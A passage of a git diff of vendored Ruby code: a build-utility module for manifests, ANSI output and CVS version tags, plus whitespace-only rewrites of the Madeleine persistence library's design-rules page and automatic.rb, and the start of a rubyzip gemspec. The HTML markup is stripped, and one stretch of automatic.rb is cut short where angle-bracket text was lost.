+ AMRegexp = Regexp::union( *ANTIMANIFEST )
+
+ # Set some ANSI escape code constants (Shamelessly stolen from Perl's
+ # Term::ANSIColor by Russ Allbery and Zenin
+ AnsiAttributes = {
+ 'clear' => 0,
+ 'reset' => 0,
+ 'bold' => 1,
+ 'dark' => 2,
+ 'underline' => 4,
+ 'underscore' => 4,
+ 'blink' => 5,
+ 'reverse' => 7,
+ 'concealed' => 8,
+
+ 'black' => 30, 'on_black' => 40,
+ 'red' => 31, 'on_red' => 41,
+ 'green' => 32, 'on_green' => 42,
+ 'yellow' => 33, 'on_yellow' => 43,
+ 'blue' => 34, 'on_blue' => 44,
+ 'magenta' => 35, 'on_magenta' => 45,
+ 'cyan' => 36, 'on_cyan' => 46,
+ 'white' => 37, 'on_white' => 47
+ }
+
+ ErasePreviousLine = "\033[A\033[K"
+
+
+ ###############
+ module_function
+ ###############
+
+ # Create a string that contains the ANSI codes specified and return it
+ def ansiCode( *attributes )
+ return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
+ attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
+ if attr.empty?
+ return ''
+ else
+ return "\e[%sm" % attr
+ end
+ end
+
+
+ # Test for the presence of the specified library, and output a
+ # message describing the test using nicename. If nicename
+ # is nil, the value in library is used to build a default.
+ def testForLibrary( library, nicename=nil )
+ nicename ||= library
+ message( "Testing for the #{nicename} library..." )
+ found = false
+
+ begin
+ require library
+ rescue LoadError => err
+ message "no found (%s)\n" % err.message
+ else
+ message "found\n"
+ found = true
+ end
+
+ return found
+ end
+
+
+ # Test for the presence of the specified library, and output a
+ # message describing the problem using nicename. If
+ # nicename is nil, the value in library is used
+ # to build a default. If raaUrl and/or downloadUrl are
+ # specified, they are also use to build a message describing how to find the
+ # required library. If fatal is true, a missing library
+ # will cause the program to abort.
+ def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
+ nicename ||= library
+ unless testForLibrary( library, nicename )
+ msgs = [ "You are missing the required #{nicename} library.\n" ]
+ msgs << "RAA: #{raaUrl}\n" if raaUrl
+ msgs << "Download: #{downloadUrl}\n" if downloadUrl
+ if fatal
+ abort msgs.join('')
+ else
+ errorMessage msgs.join('')
+ end
+ end
+ return true
+ end
+
+ ### Output msg as a ANSI-colored program/section header (white on
+ ### blue).
+ def header( msg )
+ msg.chomp!
+ $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
+ $stderr.flush
+ end
+
+ ### Output msg to STDERR and flush it.
+ def message( msg )
+ $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
+ $stderr.flush
+ end
+
+ ### Output the specified msg as an ANSI-colored error message
+ ### (white on red).
+ def errorMessage( msg )
+ message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
+ end
+
+ ### Output the specified msg as an ANSI-colored debugging message
+ ### (yellow on blue).
+ def debugMsg( msg )
+ return unless $DEBUG
+ msg.chomp!
+ $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
+ $stderr.flush
+ end
+
+ ### Erase the previous line (if supported by your terminal) and output the
+ ### specified msg instead.
+ def replaceMessage( msg )
+ print ErasePreviousLine
+ message( msg )
+ end
+
+ ### Output a divider made up of length hyphen characters.
+ def divider( length=75 )
+ puts "\r" + ("-" * length )
+ end
+ alias :writeLine :divider
+
+ ### Output the specified msg colored in ANSI red and exit with a
+ ### status of 1.
+ def abort( msg )
+ print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
+ Kernel.exit!( 1 )
+ end
+
+ ### Output the specified promptString as a prompt (in green) and
+ ### return the user's input with leading and trailing spaces removed.
+ def prompt( promptString )
+ promptString.chomp!
+ return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
+ end
+
+ ### Prompt the user with the given promptString via #prompt,
+ ### substituting the given default if the user doesn't input
+ ### anything.
+ def promptWithDefault( promptString, default )
+ response = prompt( "%s [%s]" % [ promptString, default ] )
+ if response.empty?
+ return default
+ else
+ return response
+ end
+ end
+
+ ### Search for the program specified by the given progname in the
+ ### user's PATH, and return the full path to it, or nil if
+ ### no such program is in the path.
+ def findProgram( progname )
+ ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
+ file = File.join( d, progname )
+ return file if File.executable?( file )
+ }
+ return nil
+ end
+
+ ### Using the CVS log for the given file attempt to guess what the
+ ### next release version might be. This only works if releases are tagged
+ ### with tags like 'RELEASE_x_y'.
+ def extractNextVersionFromTags( file )
+ message "Attempting to extract next release version from CVS tags for #{file}...\n"
+ raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
+ cvsPath = findProgram( 'cvs' ) or
+ raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
+
+ output = %x{#{cvsPath} log #{file}}
+ release = [ 0, 0 ]
+ output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
+ if $1.to_i > release[0] || $2.to_i > release[1]
+ release = [ $1.to_i, $2.to_i ]
+ replaceMessage( "Found %d.%02d...\n" % release )
+ end
+ }
+
+ if release[1] >= 99
+ release[0] += 1
+ release[1] = 1
+ else
+ release[1] += 1
+ end
+
+ return "%d.%02d" % release
+ end
+
+
+ ### Write a new manifest file with the given +named+, moving any current one
+ ### aside with an ".old" suffix if +backup+ is true.
+ def makeManifest( name="MANIFEST", backup=true )
+ message "Making manifest file '#{name}'"
+
+ # Move an old one aside if a backup is desired
+ if backup and File::exists?( name )
+ File::rename( name, name + ".old" )
+ end
+
+ File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
+ Find::find( "." ) do |file|
+ Find.prune if AMRegexp =~ file
+ Find.prune if %r{/\.} =~ file
+ Find.prune if /TEMPLATE/ =~ file
+ next if File::directory?( file )
+
+ ofh.puts file
+ end
+ }
+ end
+
+
+ ### Read the specified manifestFile, which is a text file
+ ### describing which files to package up for a distribution. The manifest
+ ### should consist of one or more lines, each containing one filename or
+ ### shell glob pattern.
+ def readManifest( manifestFile="MANIFEST" )
+ message "Reading manifest..."
+ raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
+
+ manifest = IO::readlines( manifestFile ).collect {|line|
+ line.chomp
+ }.select {|line|
+ line !~ /^(\s*(#.*)?)?$/
+ }
+
+ filelist = []
+ for pat in manifest
+ $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
+ filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
+ end
+
+ message "found #{filelist.length} files.\n"
+ return filelist
+ end
+
+
+ ### Given a filelist like that returned by #readManifest, remove
+ ### the entries therein which match the Regexp objects in the given
+ ### antimanifest and return the resultant Array.
+ def vetManifest( filelist, antimanifest=ANITMANIFEST )
+ origLength = filelist.length
+ message "Vetting manifest..."
+
+ for regex in antimanifest
+ if $VERBOSE
+ message "\n\tPattern /#{regex.source}/ removed: " +
+ filelist.find_all {|file| regex.match(file)}.join(', ')
+ end
+ filelist.delete_if {|file| regex.match(file)}
+ end
+
+ message "removed #{origLength - filelist.length} files from the list.\n"
+ return filelist
+ end
+
+ ### Combine a call to #readManifest with one to #vetManifest.
+ def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
+ vetManifest( readManifest(manifestFile), antimanifest )
+ end
+
+ ### Given a documentation catalogFile, extract the title, if
+ ### available, and return it. Otherwise generate a title from the name of
+ ### the CVS module.
+ def findRdocTitle( catalogFile="docs/CATALOG" )
+
+ # Try extracting it from the CATALOG file from a line that looks like:
+ # Title: Foo Bar Module
+ title = findCatalogKeyword( 'title', catalogFile )
+
+ # If that doesn't work for some reason, try grabbing the name of the CVS
+ # repository the directory belongs to.
+ if title.nil? && File::directory?( "CVS" ) &&
+ File::exists?( "CVS/Repository" )
+ title = File::read( "CVS/Repository" ).chomp
+ end
+
+ # As a last resort, use the name of the project directory
+ if title.nil?
+ distdir = File::dirname( __FILE__ )
+ distdir = File::dirname( distdir ) if /docs$/ =~ distdir
+ title = File::basename( distdir )
+ end
+
+ return title
+ end
+
+ ### Given a documentation catalogFile, extract the name of the file
+ ### to use as the initally displayed page. If extraction fails, the
+ ### +default+ will be used if it exists. Returns +nil+ if there is no main
+ ### file to be found.
+ def findRdocMain( catalogFile="docs/CATALOG", default="README" )
+
+ # Try extracting it from the CATALOG file from a line that looks like:
+ # Main: Foo Bar Module
+ main = findCatalogKeyword( 'main', catalogFile )
+
+ # Try to make some educated guesses if that doesn't work
+ if main.nil?
+ basedir = File::dirname( __FILE__ )
+ basedir = File::dirname( basedir ) if /docs$/ =~ basedir
+
+ if File::exists?( File::join(basedir, default) )
+ main = default
+ end
+ end
+
+ return main
+ end
+
+
+ ### Given a documentation catalogFile, extract an upload URL for
+ ### RDoc.
+ def findRdocUpload( catalogFile="docs/CATALOG" )
+ findCatalogKeyword( 'upload', catalogFile )
+ end
+
+
+ ### Given a documentation catalogFile, extract a CVS web frontend
+ ### URL for RDoc.
+ def findRdocCvsURL( catalogFile="docs/CATALOG" )
+ findCatalogKeyword( 'webcvs', catalogFile )
+ end
+
+
+ ### Given a documentation catalogFile, try extracting the given
+ ### +keyword+'s value from it. Keywords are lines that look like:
+ ### # :
+ ### Returns +nil+ if the catalog file was unreadable or didn't contain the
+ ### specified +keyword+.
+ def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
+ val = nil
+
+ if File::exists? catalogFile
+ message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
+ File::foreach( catalogFile ) {|line|
+ debugMsg( "Examining line #{line.inspect}..." )
+ val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
+ }
+ end
+
+ return val
+ end
+
+
+ ### Given a documentation catalogFile, which is in the same format
+ ### as that described by #readManifest, read and expand it, and then return
+ ### a list of those files which appear to have RDoc documentation in
+ ### them. If catalogFile is nil or does not exist, the MANIFEST
+ ### file is used instead.
+ def findRdocableFiles( catalogFile="docs/CATALOG" )
+ startlist = []
+ if File.exists? catalogFile
+ message "Using CATALOG file (%s).\n" % catalogFile
+ startlist = getVettedManifest( catalogFile )
+ else
+ message "Using default MANIFEST\n"
+ startlist = getVettedManifest()
+ end
+
+ message "Looking for RDoc comments in:\n" if $VERBOSE
+ startlist.select {|fn|
+ message " #{fn}: " if $VERBOSE
+ found = false
+ File::open( fn, "r" ) {|fh|
+ fh.each {|line|
+ if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
+ found = true
+ break
+ end
+ }
+ }
+
+ message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
+ found
+ }
+ end
+
+ ### Open a file and filter each of its lines through the given block a
+ ### line at a time. The return value of the block is used as the
+ ### new line, or omitted if the block returns nil or
+ ### false.
+ def editInPlace( file ) # :yields: line
+ raise "No block specified for editing operation" unless block_given?
+
+ tempName = "#{file}.#{$$}"
+ File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
+ File::unlink( tempName )
+ File::open( file, File::RDONLY ) {|fh|
+ fh.each {|line|
+ newline = yield( line ) or next
+ tempfile.print( newline )
+ }
+ }
+
+ tempfile.seek(0)
+
+ File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
+ newfile.print( tempfile.read )
+ }
+ }
+ end
+
+ ### Execute the specified shell command, read the results, and
+ ### return them. Like a %x{} that returns an Array instead of a String.
+ def shellCommand( *command )
+ raise "Empty command" if command.empty?
+
+ cmdpipe = IO::popen( command.join(' '), 'r' )
+ return cmdpipe.readlines
+ end
+
+ ### Execute a block with $VERBOSE set to +false+, restoring it to its
+ ### previous value before returning.
+ def verboseOff
+ raise LocalJumpError, "No block given" unless block_given?
+
+ thrcrit = Thread.critical
+ oldverbose = $VERBOSE
+ begin
+ Thread.critical = true
+ $VERBOSE = false
+ yield
+ ensure
+ $VERBOSE = oldverbose
+ Thread.critical = false
+ end
+ end
+
+
+ ### Try the specified code block, printing the given
+ def try( msg, bind=nil )
+ result = nil
+ if msg =~ /^to\s/
+ message = "Trying #{msg}..."
+ else
+ message = msg
+ end
+
+ begin
+ rval = nil
+ if block_given?
+ rval = yield
+ else
+ file, line = caller(1)[0].split(/:/,2)
+ rval = eval( msg, bind, file, line.to_i )
+ end
+
+ result = rval.inspect
+ rescue Exception => err
+ if err.backtrace
+ nicetrace = err.backtrace.delete_if {|frame|
+ /in `(try|eval)'/ =~ frame
+ }.join("\n\t")
+ else
+ nicetrace = "Exception had no backtrace"
+ end
+
+ result = err.message + "\n\t" + nicetrace
+ ensure
+ puts result
+ end
+ end
+
+ def time
+ start = Time::now
+ stimes = Process::times
+ rval = yield
+ etimes = Process::times
+ $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
+ etimes.utime - stimes.utime,
+ etimes.stime - stimes.stime,
+ Time::now.to_f - start.to_f,
+ ]
+
+ return rval
+ end
+
+end
diff --git a/vendor/madeleine-0.7.1/docs/designRules.html b/vendor/madeleine-0.7.1/docs/designRules.html
index 6361007f..c6db4546 100755
--- a/vendor/madeleine-0.7.1/docs/designRules.html
+++ b/vendor/madeleine-0.7.1/docs/designRules.html
@@ -1,87 +1,87 @@
-
-
-
-Design rules - Madeleine
-
-
-
-
-
-Design rules
-
-This is a summary of the design rules your application has to
-follow to work with Madeleine.
-
-
-
The Prevalent System
-
-Your objects have to fit into memory
-
-All of them. At the same time.
-
-
Your objects have to be marshallable
-
-Snapshots are taken of the system by marshalling the whole system to a
-file. If your classes can't be marshalled/unmarshalled then Madeleine
-won't be able to store/restore the system.
-
-
Your objects have to be deterministic
-
-Deterministic means that, given the same commands, they have
-to always give the same results.
-
-
For the much of your code this won't
-be a problem, but there are a few common issues:
-
-
The system clock
-You can't use the system clock (see instead ClockedSystem and TimeActor).
-
-
Random numbers
-Kernel.rand()
uses the system clock internally by
-default. Use Kernel.srand()
to seed the random number
-generator before using rand()
.
-
-
Files, network and other IO
-You generally can't access the outside world from within your
-prevalent system. Instead do IO outside of the prevalent system and
-call into the system when needed.
-
-
Changes to the system have to be done through command
-objects
-
-Everything that modifies the prevalent system must be done through a
-command object sent to the Madeleine instance, using
-execute_command(aCommand)
. Queries that don't modify the
-system can be done either through direct method calls or through
-command objects.
-
-
Command Objects
-
-A command object is an object that implements the method
-execute(system)
. They are an example of the "Command"
-design pattern.
-
-
The command objects also have to be marshallable
-
-Madeleine keeps track of changes between snapshots by logging
-marshalled commands.
-
-
The command must raise errors before modifying the system
-
-Unlike a RDBMS, Madeleine can't roll back a command (yet). This means
-that your commands will have to do their error checking and raise any
-errors before modifying the system. Failing to do this will cause an
-inconsistent command log.
-
-
Command objects can't hold references to the system's objects
-
-Unmarshalling such a command would create clones of the original
-objects, which would then be modified instead of the real
-objects. The commands must find the objects to modify.
-
-
-
-$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $
-
-
-
+
+
+
+Design rules - Madeleine
+
+
+
+
+
+Design rules
+
+This is a summary of the design rules your application has to
+follow to work with Madeleine.
+
+
+
The Prevalent System
+
+Your objects have to fit into memory
+
+All of them. At the same time.
+
+
Your objects have to be marshallable
+
+Snapshots are taken of the system by marshalling the whole system to a
+file. If your classes can't be marshalled/unmarshalled then Madeleine
+won't be able to store/restore the system.
+
+
Your objects have to be deterministic
+
+Deterministic means that, given the same commands, they have
+to always give the same results.
+
+
For the much of your code this won't
+be a problem, but there are a few common issues:
+
+
The system clock
+You can't use the system clock (see instead ClockedSystem and TimeActor).
+
+
Random numbers
+Kernel.rand()
uses the system clock internally by
+default. Use Kernel.srand()
to seed the random number
+generator before using rand()
.
+
+
Files, network and other IO
+You generally can't access the outside world from within your
+prevalent system. Instead do IO outside of the prevalent system and
+call into the system when needed.
+
+
Changes to the system have to be done through command
+objects
+
+Everything that modifies the prevalent system must be done through a
+command object sent to the Madeleine instance, using
+execute_command(aCommand)
. Queries that don't modify the
+system can be done either through direct method calls or through
+command objects.
+
+
Command Objects
+
+A command object is an object that implements the method
+execute(system)
. They are an example of the "Command"
+design pattern.
+
+
The command objects also have to be marshallable
+
+Madeleine keeps track of changes between snapshots by logging
+marshalled commands.
+
+
The command must raise errors before modifying the system
+
+Unlike a RDBMS, Madeleine can't roll back a command (yet). This means
+that your commands will have to do their error checking and raise any
+errors before modifying the system. Failing to do this will cause an
+inconsistent command log.
+
+
Command objects can't hold references to the system's objects
+
+Unmarshalling such a command would create clones of the original
+objects, which would then be modified instead of the real
+objects. The commands must find the objects to modify.
+
+
+
+$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $
+
+
+
diff --git a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb
index 9c057a87..447d5ec3 100755
--- a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb
+++ b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb
@@ -1,418 +1,418 @@
-require 'yaml'
-require 'madeleine/zmarshal'
-require 'soap/marshal'
-
-module Madeleine
-
-# Automatic commands for Madeleine
-#
-# Author:: Stephen Sykes
-# Copyright:: Copyright (C) 2003-2004
-# Version:: 0.41
-#
-# This module provides a way of automatically generating command objects for madeleine to
-# store. It works by making a proxy object for all objects of any classes in which it is included.
-# Method calls to these objects are intercepted, and stored as a command before being
-# passed on to the real receiver. The command objects remember which object the command was
-# destined for by using a pair of internal ids that are contained in each of the proxy objects.
-#
-# There is also a mechanism for specifying which methods not to intercept calls to by using
-# automatic_read_only, and its opposite automatic_read_write.
-#
-# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass
-# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new.
-# If the passed marshaller did not successfully deserialize the latest snapshot, the system
-# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding
-# compressed versions.
-#
-# This module is designed to work correctly in the case there are multiple madeleine systems in use by
-# a single program, and is also safe to use with threads.
-#
-# Usage:
-#
-# require 'madeleine'
-# require 'madeleine/automatic'
-#
-# class A
-# include Madeleine::Automatic::Interceptor
-# attr_reader :foo
-# automatic_read_only :foo
-# def initialize(param1, ...)
-# ...
-# end
-# def some_method(paramA, ...)
-# ...
-# end
-# automatic_read_only
-# def bigfoo
-# foo.upcase
-# end
-# end
-#
-# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
-#
-# mad.system.some_method(paramA, ...) # logged as a command by madeleine
-# print mad.foo # not logged
-# print mad.bigfoo # not logged
-# mad.take_snapshot
-#
-
- module Automatic
-#
-# This module should be included (at the top) in any classes that are to be persisted.
-# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine.
-# It does this by returning a Prox object that is a proxy for the real object.
-#
-# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods
-# should be made into commands
-#
- module Interceptor
-#
-# When included, redefine new so that we can return a Prox object instead, and define methods to handle
-# keeping track of which methods are read only
-#
- def self.included(klass)
- class < "")
- x
- end
-
- end
-
-#
-# The AutomaticSnapshotMadeleine class contains an instance of the persister
-# (default is SnapshotMadeleine) and provides additional automatic functionality.
-#
-# The class is instantiated the same way as SnapshotMadeleine:
-# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
-# The second initialisation parameter is the persister. Supported persisters are:
-#
-# * Marshal (default)
-# * YAML
-# * SOAP::Marshal
-# * Madeleine::ZMarshal.new(Marshal)
-# * Madeleine::ZMarshal.new(YAML)
-# * Madeleine::ZMarshal.new(SOAP::Marshal)
-#
-# The class keeps a record of all the systems that currently exist.
-# Each instance of the class keeps a record of Prox objects in that system by internal id (myid).
-#
-# We also add functionality to take_snapshot in order to set things up so that the custom Prox object
-# marshalling will work correctly.
-#
- class AutomaticSnapshotMadeleine
- attr_accessor :marshaller
- attr_reader :list, :sysid
-
- def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block)
- @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid
- @myid_count = 0
- @list = {}
- Thread.current[:system] = self # during system startup system should not create commands
- Thread.critical = true
- @@systems ||= {} # holds systems by sysid
- @@systems[@sysid] = self
- Thread.critical = false
- @marshaller = marshaller # until attrb
- begin
- @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block)
- @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid
- begin
- ObjectSpace._id2ref(v).sysid = @sysid
- false
- rescue RangeError
- true # Id was to a GC'd object, delete it
- end
- }
- ensure
- Thread.current[:system] = false
- end
- end
-#
-# Add a proxy object to the list, return the myid for that object
-#
- def add(proxo)
- @list[@myid_count += 1] = proxo.object_id
- @myid_count
- end
-#
-# Restore a marshalled proxy object to list - myid_count is increased as required.
-# If the object already exists in the system then the existing object must be used.
-#
- def restore(proxo)
- if (@list[proxo.myid])
- proxo = myid2ref(proxo.myid)
- else
- @list[proxo.myid] = proxo.object_id
- @myid_count = proxo.myid if (@myid_count < proxo.myid)
- end
- proxo
- end
-#
-# Returns a reference to the object indicated by the internal id supplied.
-#
- def myid2ref(myid)
- raise "Internal id #{myid} not found" unless objid = @list[myid]
- ObjectSpace._id2ref(objid)
- end
-#
-# Take a snapshot of the system.
-#
- def take_snapshot
- begin
- Thread.current[:system] = self
- Thread.current[:snapshot_memory] = {}
- @persister.take_snapshot
- ensure
- Thread.current[:snapshot_memory] = nil
- Thread.current[:system] = false
- end
- end
-#
-# Returns the hash containing the systems.
-#
- def AutomaticSnapshotMadeleine.systems
- @@systems
- end
-#
-# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new
-# system before GC gets them
-#
- def close
- begin
- @list.each_key {|k| myid2ref(k).sysid = nil}
- rescue RangeError
- # do nothing
- end
- @persister.close
- end
-
-#
-# Pass on any other calls to the persister
-#
- def method_missing(symbol, *args, &block)
- @persister.send(symbol, *args, &block)
- end
- end
-
-
- module Deserialize #:nodoc:
-#
-# Detect format of an io stream. Leave it rewound.
-#
- def Deserialize.detect(io)
- c = io.getc
- c1 = io.getc
- io.rewind
- if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION)
- Marshal
- elsif (c == 31 && c1 == 139) # gzip magic numbers
- ZMarshal
- else
- while (s = io.gets)
- break if (s !~ /^\s*$/) # ignore blank lines
- end
- io.rewind
- if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e
- io.rewind
- detected_marshaller = detect(io)
- if (detected_marshaller == ZMarshal)
- zio = Zlib::GzipReader.new(io)
- detected_zmarshaller = detect(zio)
- zio.finish
- io.rewind
- if (detected_zmarshaller)
- ZMarshal.new(detected_zmarshaller).load(io)
- else
- raise e
- end
- elsif (detected_marshaller)
- detected_marshaller.load(io)
- else
- raise e
- end
- end
- end
- end
-
- end
-end
-
-AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine
+require 'yaml'
+require 'madeleine/zmarshal'
+require 'soap/marshal'
+
+module Madeleine
+
+# Automatic commands for Madeleine
+#
+# Author:: Stephen Sykes
+# Copyright:: Copyright (C) 2003-2004
+# Version:: 0.41
+#
+# This module provides a way of automatically generating command objects for madeleine to
+# store. It works by making a proxy object for all objects of any classes in which it is included.
+# Method calls to these objects are intercepted, and stored as a command before being
+# passed on to the real receiver. The command objects remember which object the command was
+# destined for by using a pair of internal ids that are contained in each of the proxy objects.
+#
+# There is also a mechanism for specifying which methods not to intercept calls to by using
+# automatic_read_only, and its opposite automatic_read_write.
+#
+# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass
+# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new.
+# If the passed marshaller did not successfully deserialize the latest snapshot, the system
+# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding
+# compressed versions.
+#
+# This module is designed to work correctly in the case there are multiple madeleine systems in use by
+# a single program, and is also safe to use with threads.
+#
+# Usage:
+#
+# require 'madeleine'
+# require 'madeleine/automatic'
+#
+# class A
+# include Madeleine::Automatic::Interceptor
+# attr_reader :foo
+# automatic_read_only :foo
+# def initialize(param1, ...)
+# ...
+# end
+# def some_method(paramA, ...)
+# ...
+# end
+# automatic_read_only
+# def bigfoo
+# foo.upcase
+# end
+# end
+#
+# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
+#
+# mad.system.some_method(paramA, ...) # logged as a command by madeleine
+# print mad.foo # not logged
+# print mad.bigfoo # not logged
+# mad.take_snapshot
+#
+
+ module Automatic
+#
+# This module should be included (at the top) in any classes that are to be persisted.
+# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine.
+# It does this by returning a Prox object that is a proxy for the real object.
+#
+# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods
+# should be made into commands
+#
+ module Interceptor
+#
+# When included, redefine new so that we can return a Prox object instead, and define methods to handle
+# keeping track of which methods are read only
+#
+ def self.included(klass)
+ class < "")
+ x
+ end
+
+ end
+
+#
+# The AutomaticSnapshotMadeleine class contains an instance of the persister
+# (default is SnapshotMadeleine) and provides additional automatic functionality.
+#
+# The class is instantiated the same way as SnapshotMadeleine:
+# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
+# The second initialisation parameter is the persister. Supported persisters are:
+#
+# * Marshal (default)
+# * YAML
+# * SOAP::Marshal
+# * Madeleine::ZMarshal.new(Marshal)
+# * Madeleine::ZMarshal.new(YAML)
+# * Madeleine::ZMarshal.new(SOAP::Marshal)
+#
+# The class keeps a record of all the systems that currently exist.
+# Each instance of the class keeps a record of Prox objects in that system by internal id (myid).
+#
+# We also add functionality to take_snapshot in order to set things up so that the custom Prox object
+# marshalling will work correctly.
+#
+ class AutomaticSnapshotMadeleine
+ attr_accessor :marshaller
+ attr_reader :list, :sysid
+
+ def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block)
+ @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid
+ @myid_count = 0
+ @list = {}
+ Thread.current[:system] = self # during system startup system should not create commands
+ Thread.critical = true
+ @@systems ||= {} # holds systems by sysid
+ @@systems[@sysid] = self
+ Thread.critical = false
+ @marshaller = marshaller # until attrb
+ begin
+ @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block)
+ @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid
+ begin
+ ObjectSpace._id2ref(v).sysid = @sysid
+ false
+ rescue RangeError
+ true # Id was to a GC'd object, delete it
+ end
+ }
+ ensure
+ Thread.current[:system] = false
+ end
+ end
+#
+# Add a proxy object to the list, return the myid for that object
+#
+ def add(proxo)
+ @list[@myid_count += 1] = proxo.object_id
+ @myid_count
+ end
+#
+# Restore a marshalled proxy object to list - myid_count is increased as required.
+# If the object already exists in the system then the existing object must be used.
+#
+ def restore(proxo)
+ if (@list[proxo.myid])
+ proxo = myid2ref(proxo.myid)
+ else
+ @list[proxo.myid] = proxo.object_id
+ @myid_count = proxo.myid if (@myid_count < proxo.myid)
+ end
+ proxo
+ end
+#
+# Returns a reference to the object indicated by the internal id supplied.
+#
+ def myid2ref(myid)
+ raise "Internal id #{myid} not found" unless objid = @list[myid]
+ ObjectSpace._id2ref(objid)
+ end
+#
+# Take a snapshot of the system.
+#
+ def take_snapshot
+ begin
+ Thread.current[:system] = self
+ Thread.current[:snapshot_memory] = {}
+ @persister.take_snapshot
+ ensure
+ Thread.current[:snapshot_memory] = nil
+ Thread.current[:system] = false
+ end
+ end
+#
+# Returns the hash containing the systems.
+#
+ def AutomaticSnapshotMadeleine.systems
+ @@systems
+ end
+#
+# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new
+# system before GC gets them
+#
+ def close
+ begin
+ @list.each_key {|k| myid2ref(k).sysid = nil}
+ rescue RangeError
+ # do nothing
+ end
+ @persister.close
+ end
+
+#
+# Pass on any other calls to the persister
+#
+ def method_missing(symbol, *args, &block)
+ @persister.send(symbol, *args, &block)
+ end
+ end
+
+
+ module Deserialize #:nodoc:
+#
+# Detect format of an io stream. Leave it rewound.
+#
+ def Deserialize.detect(io)
+ c = io.getc
+ c1 = io.getc
+ io.rewind
+ if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION)
+ Marshal
+ elsif (c == 31 && c1 == 139) # gzip magic numbers
+ ZMarshal
+ else
+ while (s = io.gets)
+ break if (s !~ /^\s*$/) # ignore blank lines
+ end
+ io.rewind
+ if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e
+ io.rewind
+ detected_marshaller = detect(io)
+ if (detected_marshaller == ZMarshal)
+ zio = Zlib::GzipReader.new(io)
+ detected_zmarshaller = detect(zio)
+ zio.finish
+ io.rewind
+ if (detected_zmarshaller)
+ ZMarshal.new(detected_zmarshaller).load(io)
+ else
+ raise e
+ end
+ elsif (detected_marshaller)
+ detected_marshaller.load(io)
+ else
+ raise e
+ end
+ end
+ end
+ end
+
+ end
+end
+
+AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine
diff --git a/vendor/rubyzip-0.5.6/rubyzip.gemspec b/vendor/rubyzip-0.5.6/rubyzip.gemspec
index 951569b8..70c9d81e 100755
--- a/vendor/rubyzip-0.5.6/rubyzip.gemspec
+++ b/vendor/rubyzip-0.5.6/rubyzip.gemspec
@@ -1,20 +1,20 @@
-$:.unshift '../lib'
-require 'rubygems'
-
-spec = Gem::Specification.new do |s|
- s.name = 'rubyzip'
- s.version = "0.5.5"
- s.author = "Thomas Sondergaard"
- s.email = "thomas(at)thomassondergaard.com"
- s.homepage = "http://rubyzip.sourceforge.net/"
- s.platform = Gem::Platform::RUBY
